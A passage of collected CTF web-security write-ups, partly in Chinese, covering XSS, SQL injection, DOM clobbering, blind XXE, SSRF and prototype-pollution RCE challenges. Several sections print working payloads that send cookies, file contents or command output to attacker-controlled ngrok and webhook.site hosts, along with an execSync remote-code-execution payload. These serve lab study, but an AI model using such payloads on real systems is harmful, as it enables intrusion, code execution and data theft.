    at async Frame.goto (/Users/huli/Documents/security/ctf/line/note/node_modules/puppeteer/lib/cjs/puppeteer/common/FrameManager.js:416:16)
    at async Page.goto (/Users/huli/Documents/security/ctf/line/note/node_modules/puppeteer/lib/cjs/puppeteer/common/Page.js:789:16)

The crawler returns ng for exception, so by checking the return message we can get the flag as well.

I don't know this until I see the writeup by s1r1us.

Intigriti 0222 XSS Challenge Author Writeup

In May 2021, I solved my first Intigriti XSS challenge. Since then, I play every XSS challenge afterward, and solved most of them. Sometimes it's painful when you try everything you know but still can't solve it, however, the moment you made it, the pain is gone, replaced with joy and happiness.

As a player, I want to be on the other end(as a challenge maker) at least once, if I have an idea of an interesting XSS challenge.

I talked to @PinkDraconian in Jan 2021 and share an XSS challenge I created, after a few discussions, it gets accepted. This write-up is about the story behind the challenge.

Where the story begins

One day, when I was studying the famous Tiny XSS Payloads website, I noticed a payload:

<svg/onload=eval(`'`+URL)>

My question is: "Why do we need a quote before the URL?"

If we can control the URL, we can make it something like this: https://example.com/#';alert(1). After adding a quote before the URL, it becomes 'https://example.com/#';alert(1), just a string and a function call.

I realized that the quote is to make the URL a valid JavaScript snippet.

When I pasted the URL on the code editor, I noticed another interesting thing:

截圖 2022-02-09 下午2 23 25

The part after // is grey out, because // means comment in JavaScript. Moreover, https: is also a valid syntax in JavaScript because it's a "label", what a coincidence!

Unlike other languages like C, JavaScript has no goto statement. But, you can still use the label with break and continue, it's useful when you have nested for-loop:

// without label, you need to have a flag to break outer loop
let isOver = false
for(let i=0; i<5; i++) {
  console.log(i)
  for(let j=0; j<5; j++) {
    if (i*j === 9) {
      isOver = true
      break
    }
  }
  if (isOver) break
}

// with label, it's easier
outer:
for(let i=0; i<5; i++) {
  console.log(i)
  for(let j=0; j<5; j++) {
    if (i*j === 9) {
      break outer
    }
  }
}

So, https://example.com is a valid JavaScript code, it's composed of labels and comments, cool, isn't it? That is to say, https://example.com\nalert(1) is also valid and will pop up an alert!

After I found this, I was thinking that maybe I can make it an XSS challenge.

Then I do.

Let's talk about the challenge

The core of the challenge is the following code:

window.name = 'XSS(eXtreme Short Scripting) Game'

function showModal(title, content) {
  var titleDOM = document.querySelector('#main-modal h3')
  var contentDOM = document.querySelector('#main-modal p')
  titleDOM.innerHTML = title
  contentDOM.innerHTML = content // DOM-XSS here
  window['main-modal'].classList.remove('hide')
}

if (location.href.includes('q=')) {
  var uri = decodeURIComponent(location.href)
  var qs = uri.split('&first=')[0].split('?q=')[1]
  if (qs.length > 24) {
    showModal('Error!', "Length exceeds 24, keep it short!")
  } else {
    showModal('Welcome back!', qs)
  }
}

I hope it looks normal, like what a normal developer will do. It's just extracting the query string q and checking its length, then putting it into HTML.

The challenge here is the length limit, you can only insert HTML with no more than 24 characters.

The shortest payload on TinyXSS is <svg/onload=eval(name)> which is 23 in length, but it doesn't work because of this line: window.name = 'XSS(eXtreme Short Scripting) Game', it prevents the payload from window.name.

How about <script/src=//NJ.₨></script>? I saw so many people were trying this way, but it won't work even if there is no length limitation, because a <script> tag inserted with innerHTML should not execute.

All other payloads exceed 24 characters, including what I have mentioned previously: <svg/onload=eval("'"+URL)>

If you remember what I wrote at the beginning, you may try this payload as well: <svg/onload=eval(URL)> with the URL: https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Csvg/onload=eval(URL)%3E&first=1#%0aalert(1)

Unfortunately, this doesn't work, because the URL is encoded, it's %0a instead of a newline character.

It seems a dead-end, unless you look at the code again carefully.

Reuse the existing thing

If you check the scope in devtool or print all properties of window, you should find a variable called uri. Let's look at the code again:

if (location.href.includes('q=')) {
  var uri = decodeURIComponent(location.href)
  var qs = uri.split('&first=')[0].split('?q=')[1]
  if (qs.length > 24) {
    showModal('Error!', "Length exceeds 24, keep it short!")
  } else {
    showModal('Welcome back!', qs)
  }
}

Although the variable uri is declared inside the if block, it's still a global variable because var is function-scoped or globally scoped, not block-scoped.

Is this variable helpful? Absolutely.

uri is a decoded URL, our %0a turns into \n, a new line character! So, just replace the payload from eval(URL) to eval(uri), the payload works now: https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Csvg/onload=eval(uri)%3E&first=1#%0aalert(1)

We have to fix one last thing: it doesn't work on Firefox.

it's not hard to find out that <style> can be used instead of <svg>, here is the final payload: https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Cstyle/onload=eval(uri)%3E&first=1#%0aalert(document.domain)

The length is 24 characters, perfectly fits the limitation.

By the way, if %0a is blocked, try U+2028(%E2%80%A8) and U+2029(%E2%80%A9) instead, it's also line terminators. I learned this trick from 0621 XSS challenge.

Other invalid but interesting solutions

I have another solution but with user interaction: https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Cq%20oncut=eval(%22%27%22+URL)%3E1&first=1#';alert(1)

<q/oncut=eval("'"+URL)>1

One needs to focus on the <q> element and press ctrl+x to trigger the XSS.

If you have other solutions, feel free to DM me(@aszx87410).

Closing Thoughts

Thanks for playing the challenge I created, I hope all of you have fun and enjoy it.

There is another great article that has mentioned the same technique: Smuggling Script via URL: Short HTML-based XSS payload, I haven't seen this until a player who solved the challenge sent me this via DM.

I should have added a new line filter to make it harder, at least not so easy to find the answer lol

VolgaCTF 2021 Qualifier - flask-admin

flask-admin

Description

Incorrect usage of this library leads to serious consequences...

routes.py

from app import app, db
from flask import render_template, render_template_string, request, flash, redirect, url_for, send_from_directory, make_response, abort
import flask_admin as admin
from flask_admin import Admin, expose, base
from flask_admin.contrib.sqla import ModelView
from flask_login import current_user, login_user, logout_user
from app.models import User, Role
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, BooleanField, SubmitField, TextAreaField, validators, widgets,fields, SelectMultipleField
from wtforms.validators import ValidationError, DataRequired, Email, EqualTo
from app.decorators import admin_required, user_required
from werkzeug.urls import url_parse
import os

#-------------------------Admins-------------------------
class MyAdmin(admin.AdminIndexView):
    @expose('/')
    @admin_required
    def index(self):
        return super(MyAdmin, self).index()

    @expose('/user')
    @expose('/user/')
    @admin_required
    def user(self):
        return render_template_string('TODO, need create custom view')

admin = Admin(app, name='VolgaCTF', template_mode='bootstrap3', index_view=MyAdmin())
admin.add_view(ModelView(User, db.session))
#--------------------------------------------------------


#-------------------------Forms-------------------------
class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired()],render_kw={"placeholder": "username"})
    password = PasswordField('Password', validators=[DataRequired()],render_kw={"placeholder": "password"})
    remember_me = BooleanField('Remember Me')
    submit = SubmitField('Sign In')

class RegistrationForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired()], render_kw={"placeholder": "username"})
    email = StringField('Email', validators=[DataRequired(), validators.Length(1, 64), Email()],render_kw={"placeholder": "[email protected]"})
    password = PasswordField('Password', validators=[DataRequired()],render_kw={"placeholder": "password"})
    password2 = PasswordField(
        'Repeat Password', validators=[DataRequired(), EqualTo('password')], render_kw={"placeholder": "password"})
    submit = SubmitField('Register')

    def validate_username(self, field):
        if User.query.filter_by(username=field.data).first():
            raise ValidationError('Username already in use.')

    def validate_email(self, field):
        if User.query.filter_by(email=field.data.lower()).first():
            raise ValidationError('Email already registered.')
#-------------------------------------------------------


@app.route('/')
def index():
    if current_user and current_user.is_authenticated and current_user.role.name == 'Administrator':
        return os.environ.get('Volga_flag') or 'Error, not found flag'
    return 'Hello, to get the flag, log in as admin'



@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        user = User.query.filter_by(username=form.username.data).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        else:
            # Keep the user info in the session using Flask-Login
            login_user(user, remember=form.remember_me.data)

        next_page = request.args.get('next')
        if not next_page or url_parse(next_page).netloc != '':
            next_page = url_for('index')
        return redirect(next_page)
    return render_template('login.html', title='Sign In', form=form)


def permission_check(permission):
    flag = False
    try:
        if current_user.can(permission):
            return True
        else:
            return False
    except AttributeError:
        return False
    return flag

@app.route('/logout')
def logout():
    logout_user()
    return redirect(url_for('index'))


@app.route('/register', methods=['GET', 'POST'])
def register():
    if current_user.is_authenticated:
        return redirect(url_for('index'))
    form = RegistrationForm()
    if form.validate_on_submit():
        user = User(username=form.username.data, email=form.email.data)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('Congratulations, you are now a registered user!')
        return redirect(url_for('login'))
    return render_template('register.html', title='Register', form=form)

Writeup

I have no idea how to solve this at first because I am not familiar with Python. But I want to solve this one so I go to check the documentation: https://flask-admin.readthedocs.io/en/latest/api/mod_base/#default-view

This part is strange because I haven't seen this usage in the documentation:

#-------------------------Admins-------------------------
class MyAdmin(admin.AdminIndexView):
    @expose('/')
    @admin_required
    def index(self):
        return super(MyAdmin, self).index()

    @expose('/user')
    @expose('/user/')
    @admin_required
    def user(self):
        return render_template_string('TODO, need create custom view')

admin = Admin(app, name='VolgaCTF', template_mode='bootstrap3', index_view=MyAdmin())
admin.add_view(ModelView(User, db.session))

I guess there are some endpoints which are not blocked so I tried /admin, /admin/user, /admin/user/ but all blocked.

I believe there must be something but I am lazy to reproduce the environment locally so I checked youtube video: https://www.youtube.com/watch?v=0cySORIhkCg&ab_channel=PrettyPrinted

And I found useful url /admi/user/new

http://172.105.84.156:5000/admin/user/new/

螢幕快照 2021-03-28 下午9 57 03

We can insert any user with admin role now! But what about password hash? how do I know what is the format?

The answer is: check youtube video again: https://www.youtube.com/watch?v=ysdShEL1HMM&ab_channel=PrettyPrinted

Found another useful url /admin/user/edit?id=1

螢幕快照 2021-03-28 下午9 58 03

I searched the keyword: pbkdf2:sha256:150000 and found this: https://www.cnblogs.com/jackadam/p/12196826.html

It seems pbkdf2:sha256:150000$ODedbYPS$4d1bd12adb1eb63f78e49873cbfc731e35af178cb9eb6b8b62c09dcf8db76670 is hello so I created an admin account with this password.

I logged in with the account just created and successfully got the flag.

H@cktivityCon 2021 CTF - OTP Samsher

Description

Your fingers too slow to smash, tbh.

截圖 2021-09-20 上午11 04 52

Writeup

We need to keep inputing the code on the image, so just create an automation script and do OCR.

The problem is, the OCR library is not that accurate, my solution is to use a fallback language and hope it works.

const puppeteer = require('puppeteer');
const path = require('path')
const fs = require('fs')
const pageUrl = 'http://challenge.ctf.games:31205/';

const { createWorker, PSM } = require('tesseract.js');

const worker = createWorker();
const worker2 = createWorker();
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

(async () => {
  await worker.load();
  await worker.loadLanguage('eng');
  await worker.initialize('eng');
  await worker.setParameters({
    tessedit_char_whitelist: "0123456789"
  });

  await worker2.load();
  await worker2.loadLanguage('chi_tra');
  await worker2.initialize('chi_tra');
  await worker2.setParameters({
    tessedit_char_whitelist: "0123456789"
  });

  const browser = await puppeteer.launch({
    headless: false
  });
  const page = await browser.newPage();
  await page.goto(pageUrl);
  send()
  
  async function send() {
    let { data: { text } } = await worker.recognize('http://challenge.ctf.games:31205/static/otp.png');
    console.log('text:'+text)
    if (text.length !== 9) {
      const result = await worker2.recognize('http://challenge.ctf.games:31205/static/otp.png');
      text = result.data.text
      console.log('text again:'+text)
    }
    await page.evaluate((text) => {
      document.querySelector('input[name=otp_entry]').value = text
      document.querySelector('input[type=submit]').click()
    }, text)
    await page.waitForNavigation();
    send()
  }
})();

DiceCTF 2021 - Missing Flavortext

It'a simple login page:

source code:

const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')

// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT,
  password TEXT
);`);

// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
  'admin',
  '${crypto.randomBytes(16).toString('hex')}'
)`);

const express = require('express');
const bodyParser = require('body-parser');

const app = express();

// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));

// login route
app.post('/login', (req, res) => {
  if (!req.body.username || !req.body.password) {
    return res.redirect('/');
  }

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

  // see if user is in database
  const query = `SELECT id FROM users WHERE
    username = '${req.body.username}' AND
    password = '${req.body.password}'
  `;

  let id;
  try { id = db.prepare(query).get()?.id } catch {
    return res.redirect('/');
  }

  // correct login
  if (id) return res.sendFile('flag.html', { root: __dirname });

  // incorrect login
  return res.redirect('/');
});

app.listen(3000);

We need to bypass the authentication by sql injection. But it filters single quote, how to bypass this?

Actually they already gave us a hint:

// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));

But the comment seems wrong, it's not parse json(it should be bodyParser.json), it's to let urlencoded can be parse by qs library which support passing array or even object.

Like this:

username[] = ' or '1' = '1
password[] = ' or '1' = '1

So both username and password is an array: ["' or '1' = '1'"]. And it will be string ' or 1' = '1' when concat with other string.

zer0pts CTF 2021 - Simple Blog

Simple Blog

Description

Now I am developing a blog service. I'm aware that there is a simple XSS. However, I introduced strong security mechanisms, named Content Security Policy and Trusted Types. So you cannot abuse the vulnerability in any modern browsers, including Firefox, right?

Writeup

Because there is a report feature so we know it's a challenge about XSS.

Apparently, we can control the theme query string to render whatever we want on the page, but we can't do much because of the strict CSP. We can't execute inline script, but at least there is one thing we know: we can inject html.

Then I played around with the website to find where I can do XSS, it's obviously that if we can control the callback params of api.php, we can execute arbitrary JavaScript code:

<?php
header('Content-Type: application/javascript');
$callback = $_GET['callback'] ?? 'render';
if (strlen($callback) > 20) {
  die('throw new Error("callback name is too long")');
}
echo $callback . '(' . json_encode([
  ["id" => 1, "title" => "Hello, world!", "content" => "Welcome to my blog platform!"],
  ["id" => 2, "title" => "Lorem ipsum", "content" => "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."]
]) . ')';

For example, api.php?callback=alert(1); will display a popup because the output is alert(1);([...]).

Manipulating the value of window.callback is simple, DOM clobbering works in this case.

But unfortunately it's still not working in the end because of the Trusted Types feature.

Actually I don't even know what is Trusted Types before this chall so I quickly google it and found that it's a new way to prevent DOM XSS, and the developer can write their own policy for filtering malicious payload.

For example, this call registers a default policy and block the url which includes callback and check if trustedTypes.defaultPolicy is successfully registered.

const init = () => {
  // try to register trusted types
  try {
    trustedTypes.createPolicy('default', {
      createHTML(url) {
        return url.replace(/[<>]/g, '');
      },
      createScriptURL(url) {
        if (url.includes('callback')) {
          throw new Error('custom callback is unimplemented');
        }

        return url;
      }
    });
  } catch {
    if (!trustedTypes.defaultPolicy) {
      throw new Error('failed to register default policy');
    }
  }

  // TODO: implement custom callback
  jsonp('/api.php', window.callback);
};

For now even we can decide what is the value for window.callback, we can't pass it to api.php.

So our goal is quite clear, if we can bypass this check, we can do XSS. But how?

If you read the description carefully, you should know this problem must be something to do with Firefox because the description mention Firefox particularly.

At first I tried to google the keyword like: firefox trusted type vulnerability, firefox trusted type bug but got no luck.

Later on, I found a js file named trustedtypes.build.js, and from the source code we know it's from Google. But from the resources I read before, Trusted Types is a built-in feature so no need any js file, unless... it's not implemented yet.

If it's not implemented, we need a polyfill to simulate this feature. At that moment I know why this chall choose Firefox, because Firefox has no built-in support for trusted types yet so it needs a polyfill to work properly.

You can find the original polyfill easily by googling, here is the snippet of the file: https://github.com/w3c/webappsec-trusted-types/blob/main/src/polyfill/full.js

/**
 * Determines if the enforcement should be enabled.
 * @return {boolean}
 */
function shouldBootstrap() {
  for (const rootProperty of ['trustedTypes', 'TrustedTypes']) {
    if (window[rootProperty] && !window[rootProperty]['_isPolyfill_']) {
      // Native implementation exists
      return false;
    }
  }
  return true;
}

// Bootstrap only if native implementation is missing.
if (shouldBootstrap()) {
  bootstrap();
}

The check is common, only polyfill if there is no native support. Actually we can cheated to pretend it has native support via DOM clobbering.

Remember we can inject any HTML payload?

<a id="trustedTypes" />

So window['trustedTypes'] is truthy and bootstrap function won't be execute, there is no Trusted Types anymore!

But it's not finished yet, there is another check fortrustedTypes.defaultPolicy:

const init = () => {
  try {
    // ignore
  } catch {
    // we need to bypass this
    if (!trustedTypes.defaultPolicy) {
      throw new Error('failed to register default policy');
    }
  }

  jsonp('/api.php', window.callback);
};

Easy, we can use form instead of a to create two-level DOM clobbering:

<form id="trustedTypes">
  <input name="defaultPolicy" />
</form>

After bypass Trusted Types, we can execute arbitrary JavaScript via api.php.

But there is another issue, the length of callback can only be 20 char, how can I do XSS and get cookie within this limitation? document.cookie itself is already 15 characters.

I stuck here for so long, try to use eval or setTimeout but it has been block by CSP, for sure.

After trying like an hour, I realized that I can reuse the existed function: jsonp, oh it took me so long

const jsonp = (url, callback) => {
  const s = document.createElement('script');

  if (callback) {
    s.src = `${url}?callback=${callback}`;
  } else {
    s.src = url;
  }

  document.body.appendChild(s);
};

By calling jsonp we can inject our own script instead of doing XSS directly on the page.

But the url is still too long(unless you domain is quite short), how can we do?

DOM clobbering again!

// xss payload url
<a id="y" href="https://a7f488587d27.ngrok.io/payload.js"></a>

// manipulate window.callback
<a id="callback" href="a&callback=jsonp(y);"></a>

The content of self-hosted file payload.js is quite simple:

location='my_server?c='+document.cookie

By chaining all the vulnerabilities above, mostly DOM clobbering, we can do XSS and get the cookie, which is the flag.

// bypass Trusted Types
<form id="trustedTypes"><input name="defaultPolicy" /></form>

// xss via file
<a id="y" href="https://a7f488587d27.ngrok.io/payload.js"></a>

// manipulate window.callback
<a id="callback" href="a&callback=jsonp(y);"></a>

0x41414141 CTF 2021 - graphed 2.0

整個網頁都是沒有功能的

檢視原始碼會發現這樣一段 code:

<script>
    function create_note() {
        alert("sorry but this functionality is disabeled due to technical problems");
	//query_data = `mutation {createNote(body:${document.getElementById("note-content").value}, title:"anon note", username:"guest"){note{uuid}}}`;
        //fetch(`/graphql?query=mutation{createNote(body:"ww", title:"anon note", username:"guest"){note{uuid}}}`, {method: "POST"});
    }

</script>

線索很明顯就是 graphql,接著試著打打看

http://207.180.200.166:8080/graphql?query=mutation{createNote(body:"ww", title:"anon note", username:"guest"){note{uuid}}}

發現確實建立了一個 note。

我對 graphql 不熟所以接下來開始亂試,發現有時候試到錯的東西會有提示,也太智慧了吧。試過以下東西:

http://207.180.200.166:8080/graphql?query={note{uuid}}
http://207.180.200.166:8080/graphql?query={getNotes{uuid}}
http://207.180.200.166:8080/graphql?query={coolNotes{uuid, body, title}}
http://207.180.200.166:8080/graphql?query={coolNotes{uuid, body, title}}

後來透過 google: graphql query all fields

找到這篇:How to query all the GraphQL type fields without writing a long query?

就可以列舉出特定 object 的欄位:

{__type(name:"NoteObjectConnection") {fields {name,description}}}
{__type(name:"NoteObject") {fields {name,description}}}
{__type(name:"UserObject") {fields {name,description}}}
{__type(name:"UserObjectConnection") {fields {name,description}}}
{__type(name:"UserObjectEdge") {fields {name,description}}}

於是就可以拿到任何你想要的資料:

http://207.180.200.166:8080/graphql?query={coolNotes{uuid, body, title, authorId, author, id}}
{allNotes{ edges{ node { id, uuid, title, body } } } }
{allUsers{ edges{ node { id, uuid, username } } } }

接著在 note 裡面發現一個 flag:CUCTF{graphql_d3f1n1tely_1s_the_futur30985}

然後在 discord 看到提醒,這個不是真的 flag,拿這個 flag 去找到之前的 CUCTF,找到前身的幾個 write up:

  1. https://sourque.dev/writeups/cuctf20/graphed/
  2. https://github.com/CUCyber/cuctf-2020-challenges/tree/main/web-exploitation/graphed

進而找到了這篇:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection

發現這個超好用 query 可以拿到所有資訊:

{__schema{types{name,fields{name}}}}

接著卡關卡一陣子,不知道該怎麼繼續,然後在看上面列出來的資訊時看到 getNote 覺得滿可疑,然後帶的參數也可以從上面得知,就試試看什麼:

{getNote(q:"flag"){ id,uuid, title, body }}

發現毫無反應只回傳空的資料,就試了:

{getNote(q:"''"){ title }}

然後就成功爆炸了!

{
    "errors": [
        {
            "message": "(sqlite3.OperationalError) unrecognized token: \"'''\"\n[SQL: SELECT * FROM NOTES where uuid=''']\n(Background on this error at: http://sqlalche.me/e/13/e3q8)",
            "locations": [
                {
                    "line": 1,
                    "column": 2
                }
            ],
            "path": [
                "getNote"
            ]
        }
    ],
    "data": {
        "getNote": null
    }
}

很明顯是 sqlite 的 injection,先看有幾個欄位:

{getNote(q:" ' union SELECT 1,1,1,1--"){ id,uuid, title, body }}

然後根據 SQLite Injection 拿到很多實用的資訊:

SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

{getNote(q:" ' union SELECT tbl_name,1,1,1 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--"){ id,uuid, title, body }}

在 table 裡面找到一個很可疑的 table name: العلم

接著弄出 sql

{getNote(q:" ' union SELECT sql,1,2,3 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='العلم' --"){ id,uuid, title, body }}

結果:

'CREATE TABLE العلم (id INTEGER PRIMARY KEY, flag TEXT NOT NULL)

最後就可以拿到 flag 了

{getNote(q:" ' union SELECT flag,1,2,3 FROM العلم --"){ id,uuid, title, body }}

0x41414141 CTF 2021 - 檢討

貼一下沒解出來的幾題找到的 writeup 還有可以檢討的地方

https://ctftime.org/event/1249/tasks/

shjail

題目:

#!/bin/bash
RED='\e[0;31m'
END='\e[0m'
GREEN='\e[0;32m'

while :
do
    echo "What would you like to say?"
	read USER_INP
       	if [[ "$USER_INP" =~ ['&''$''`''>''<''/''*''?'txcsbqi] ]]; then
               	echo -e "${RED}Hmmmm, what are you trying to do?${END}"
       	else
               	OUTPUT=$($USER_INP) &>/dev/null
               	echo -e "${GREEN}The command has been executed. Let's go again!${END}"
       	fi
done 

當初完全沒想到怎麼繞過那些,隨便試一下就放棄了

後來看到的 writeup 是這篇:https://github.com/ryan-cd/ctf/tree/master/2021/0x41414141/shjail

他用 od 來確認檔案是否存在,但是用 nl 也可以,可以用這樣找出可用的指令:

ls /usr/bin/[ad-hj-pruvwyz][ad-hj-pruvwyz]

不能輸入明確字母的部分可以用 [a-z] 來代替:flag.[a-z][a-z][a-z]

最後要輸出內容可以用錯誤訊息來輸出,例如說 perl flag.[a-z][a-z][a-z]

其他參考資料:

  1. https://linuxhint.com/bash_globbing_tutorial/
  2. https://www.linux.com/training-tutorials/using-square-brackets-bash-part-1/

FirstApp

https://github.com/ph03n11x/0x41414141-CTF/tree/main/0x41414141/FirstApp

有找到另外一篇但只貼在 discord:

http://207.180.200.166:3000/
http://207.180.200.166:3000/login
    # login with anything
http://207.180.200.166:3000/profile?id=zk
http://207.180.200.166:3000/profile?id=flag
    # guesswork 1
    # notice the image
http://207.180.200.166:3000/images/flag.jpg
    # similar to xft but larger... stegano

steghide the image:
    I made this cool feature that clones offshift website
    /get_url?url=http://www.offshift.io/

    I tried to serve it as local files but a lot of people abused the service to hack me 
    so now I limited it to localhost only

http://207.180.200.166:3000/get_url?url=http://www.offshift.io/
    # serve local files ?
http://207.180.200.166:3000/get_file
    # guesswork 2
    # but only locally ?
http://207.180.200.166:3000/get_url?url=http://localhost:3000/get_file
    # param
http://207.180.200.166:3000/get_url?url=http://localhost:3000/get_file?file[]
    # not useful, but confirms it's the payload
http://207.180.200.166:3000/get_url?url=http://localhost:3000/get_file?file=./flag.txt
    # guesswork 3

有人直接通靈出 get_file 跟 get_url 這兩個 url,有點厲害

但就算不是這樣,也需要從圖片中通靈出 flag.jpg 這個檔案的存在,然後從圖片中拿到訊息,就可以知道 get_url 這個網址
然後要通靈出 get_file,再通靈出參數叫做 file 然後就可以過關...

ctf 通靈能力點不夠高,看來要繼續磨練

waffed

https://github.com/sambrow/ctf-writeups-2021/tree/master/0x41414141/waffed

沒注意到試著用 * 之類的 pattern 去試,以後可以多嘗試一點東西

Factorize

先筆記一下

https://www.notion.so/Factorize-b96056dc70f54cc7b42b32f8984cb7cf

0x41414141 CTF 2021 - special order pt2

從線索中可以看出是以前的題目重新改過
透過關鍵字:Special Order ctf
可以找到這篇 write up,發現是 XXE
https://github.com/Ambrotd/hacktivitycon/blob/master/Special%20Order/Special%20Order.md

如果再拿詳細比賽名稱去 google
special order hacktivitycon
可以找到 source code
https://github.com/pop-eax/SpecialOrder
還有作者的 blog
https://pop-eax.github.io/blog/posts/ctf-writeup/web/2020/08/01/h-cktivitycon-ctf-specialorder/

到處摸索有沒有其他地方可以打,都發現沒有
嘗試了原本的 XXE 發現 xml 還是會解析,只是最後不會輸出結果而已
越想越覺得這邊不對勁,如果要修復幹嘛不整個拿掉,居然還是 parse xml 了

於是找到了 portSwigger,看到這篇
https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages

其中有一招是用外部的 dtd 引起錯誤,然後用錯誤訊息把輸出帶出來
https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages

就照著上面寫的,新建一個檔案放 server

<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;aaa

然後去引用這個檔案

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://1101905f73b1.ngrok.io/a.dtd">%xxe;
]>
<root>
  <color>123</color>
  <size>40px</size>
</root>

就過關了
順利拿到 flag

Invalid URI: file:///invalid/flag{i7_1s_n0t_s0_bl1nd3721}
, line 3, column 7 (a.dtd, line 3)

Pwn2Win CTF 2021 - Illusion

Illusion

Description

Laura just found a website used for monitoring security mechanisms on Rhiza's state and is planning to hack into it to forge the status of these security services. After that she will desactivate these security resources without alerting government agents. Your goal is to get into the server to change the monitoring service behavior.

截圖 2021-05-31 上午8 23 33

Source code:

const express = require('express')
const bodyParser = require('body-parser')
const jsonpatch = require('fast-json-patch')
const ejs = require('ejs')
const basicAuth = require('express-basic-auth')


const app = express()

// Middlewares //
app.use(bodyParser.json())
app.use(basicAuth({
    users: { "admin": process.env.SECRET || "admin" },
    challenge: true
}))

/////////////////

let services = {
    status: "online",
    cameras: "online",
    doors: "online",
    dome: "online",
    turrets: "online"
}

// Static folder
app.use("/static", express.static(__dirname + "/static"));

// Homepage
app.get("/", async (req, res) => {
    const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
    res.end(html)
})

// API
app.post("/change_status", (req, res) => {

    let patch = []

    Object.entries(req.body).forEach(([service, status]) => {

        if (service === "status"){
            res.status(400).end("Cannot change all services status")
            return
        }

        patch.push({
            "op": "replace",
            "path": "/" + service,
            "value": status
        })
    });

    jsonpatch.applyPatch(services, patch)

    if ("offline" in Object.values(services)){
        services.status = "offline"
    }

    res.json(services)
})

app.listen(1337, () => {
    console.log(`App listening at port 1337`)
})  

Writeup

There are two lines caught my eyes immediately: jsonpatch.applyPatch(services, patch) and ejs.renderFile(__dirname + "/templates/index.ejs", {services}).

From my experience, jsonpatch might have prototype pollution vulnerability. After googling a bit I found this open PR: Starcounter-Jack/JSON-Patch#262 and confirm that prototype pollution exists.

But what can we do with this? I googled: prototype pollution ejs ctf and found this useful article: From Prototype Pollution to RCE

We can use outputFunctionName to do RCE.

So just post this to /change_status and that's all, solved the challenge by googling!:

{
    "constructor/prototype/outputFunctionName": "a=1;const http=process.mainModule.require('https');const flag=process.mainModule.require('child_process').execSync('/readflag').toString();req=http.get(`https://webhook.site/844be20d-00d7-4696-88f9-1ffb5261b3e0?q=${flag}`);req.end();//"
}

Writeup: Intigriti’s November XSS challenge By @IvarsVids

Challenge link: https://challenge-1121.intigriti.io/

Source code: https://challenge-1121.intigriti.io/challenge/index.php?s=security

I removed css part because it's not important and too long.

<html>
<head>
  <title>You searched for 'security'</title>
  <script nonce="58d08eb122159ce2369f901f5d125462">
    var isProd = true;
  </script>
  <script nonce="58d08eb122159ce2369f901f5d125462">
    function addJS(src, cb){
      let s = document.createElement('script');
      s.src = src;
      s.onload = cb;
      let sf = document.getElementsByTagName('script')[0];
          sf.parentNode.insertBefore(s, sf);
    }
    
    function initVUE(){
      if (!window.Vue){
        setTimeout(initVUE, 100);
      }
      new Vue({
        el: '#app',
        delimiters: window.delimiters,
        data: {
          "owasp":[
            {"target": "1", "title":"A01:2021-Broken Access Control","description":" moves up from the fifth position to the category with the most serious web application security risk; the contributed data indicates that on average, 3.81% of applications tested had one or more Common Weakness Enumerations (CWEs) with more than 318k occurrences of CWEs in this risk category. The 34 CWEs mapped to Broken Access Control had more occurrences in applications than any other category."},
            {"target": "2", "title":"A02:2021-Cryptographic Failures","description":" shifts up one position to #2, previously known as A3:2017-Sensitive Data Exposure, which was broad symptom rather than a root cause. The renewed name focuses on failures related to cryptography as it has been implicitly before. This category often leads to sensitive data exposure or system compromise."},
            {"target": "3", "title":"A03:2021-Injection","description":" slides down to the third position. 94% of the applications were tested for some form of injection with a max incidence rate of 19%, an average incidence rate of 3.37%, and the 33 CWEs mapped into this category have the second most occurrences in applications with 274k occurrences. Cross-site Scripting is now part of this category in this edition."},
            {"target": "4", "title":"A04:2021-Insecure Design","description":" is a new category for 2021, with a focus on risks related to design flaws. If we genuinely want to \"move left\" as an industry, we need more threat modeling, secure design patterns and principles, and reference architectures. An insecure design cannot be fixed by a perfect implementation as by definition, needed security controls were never created to defend against specific attacks."},
            {"target": "5", "title":"A05:2021-Security Misconfiguration","description":" moves up from #6 in the previous edition; 90% of applications were tested for some form of misconfiguration, with an average incidence rate of 4.5%, and over 208k occurrences of CWEs mapped to this risk category. With more shifts into highly configurable software, it's not surprising to see this category move up. The former category for A4:2017-XML External Entities (XXE) is now part of this risk category."},
